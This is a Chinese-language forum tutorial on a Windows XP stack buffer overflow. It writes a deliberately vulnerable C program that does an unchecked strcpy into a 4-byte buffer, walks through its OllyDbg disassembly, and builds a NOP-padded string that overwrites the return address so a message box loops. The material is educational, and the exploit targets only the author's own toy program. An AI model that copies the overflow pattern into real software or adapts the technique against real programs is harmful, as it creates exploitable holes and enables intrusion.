來源:〓中國駭客聯盟〓總站論壇
作者:玄風殘翼
實驗環境:Microsoft Visual C++ 6.0,Windows XP SP2,補丁至最新。OllyDbg1.10。
實驗目標:構造存在溢出漏洞的代碼,並構造特殊代碼以利用這個漏洞。
漏洞代碼:
為方便調試,我們用的是VC6.0的Win32 Console Application工程,切換到Release模式(Build->Set Active Configuration),關閉最佳化編譯選項(Project->Setting->C/C++,Category選General,Optimizations選Disable)。這樣處理以後,使用者代碼在編譯以後會生在0x00401000處。
#include "windows.h"
void over();//一個易溢出模組
//下面一串字串類比一串遠方傳輸過來的一個數字流
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x00};//一共4個字元,並不會對over()造成溢出。
int main(int)
{
MessageBox(NULL, "A normal call", "Try", MB_OK);
over();
return 0;
}
void over()
{
char szBuffer[4];
strcpy(szBuffer, (char *)szOver);
}
編譯,用OllyDbg跟蹤(由於各位讀者的編譯環境不一定和我一樣,所以跟蹤結果可能不同,請自行處理)。跳到00401000處。
//我們的int main(int)
00401000 /$ 55 push ebp
00401001 |. 8BEC mov ebp,esp
00401003 |. 6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
00401005 |. 68 3C604000 push TestOver.0040603C ; |Title = "Try"
0040100A |. 68 40604000 push TestOver.00406040 ; |Text = "A normal call"
0040100F |. 6A 00 push 0 ; |hOwner = NULL
00401011 |. FF15 9C504000 call dword ptr ds:[<&USER32.Messa>; /MessageBoxA
00401017 |. E8 04000000 call TestOver.00401020
0040101C |. 33C0 xor eax,eax
0040101E |. 5D pop ebp
0040101F /. C3 retn
//我們的over()
00401020 /$ 55 push ebp
00401021 |. 8BEC mov ebp,esp
00401023 |. 51 push ecx;暈死,為了申請四個位元組的棧空間,隨便往棧裡壓了個資料。怪不得總是說要初始化
00401024 |. 68 30604000 push TestOver.00406030;構造的攻擊串地址,參數入棧
00401029 |. 8D45 FC lea eax,dword ptr ss:[ebp-4];得到剛才申請的空間的地址
0040102C |. 50 push eax;參數入棧
0040102D |. E8 0E000000 call TestOver.00401040
00401032 |. 83C4 08 add esp,8;剛才兩個參數出棧
00401035 |. 8BE5 mov esp,ebp
00401037 |. 5D pop ebp
00401038 /. C3 retn
溢出攻擊是更改retn時所用的棧使之跳轉異常。這次攻擊我打算讓它跳轉到代碼MessageBox(NULL, "A normal call", "Try", MB_OK)處,在可執行檔裡,它在00401003處開始參數入棧。在over()函數裡申請了char szBuffer[4]以後,棧裡結構如下:
Stack+0->szBuffer[4];
Stack+1->pushed ebp;
Stack+2->Retn add.
所以我們的攻擊串只要比正常串長多8個位元組,而最後4個位元組是地址00401003就可以讓它在執行時跳到00401003處,不斷迴圈彈出對話方塊。用一貫的規則,是用0x90(對應ASM指令nop,空操作)填充不用的空間。
構造攻擊串如下:
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};
完整代碼如下:
#include "windows.h"
void over();
unsigned char szOver[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x03, 0x10, 0x40, 0x00};
int main(int)
{
MessageBox(NULL, "A normal call", "Try", MB_OK);
over();
return 0;
}
void over()
{
char szBuffer[4];
strcpy(szBuffer, (char *)szOver);
}
編譯運行,就可以看到這個程式在不停地彈出訊息框。
PS:大型的溢出,會把一份完整的代碼寫入棧中,再通過非法跳轉,運行這份代碼。這才是溢出的真諦。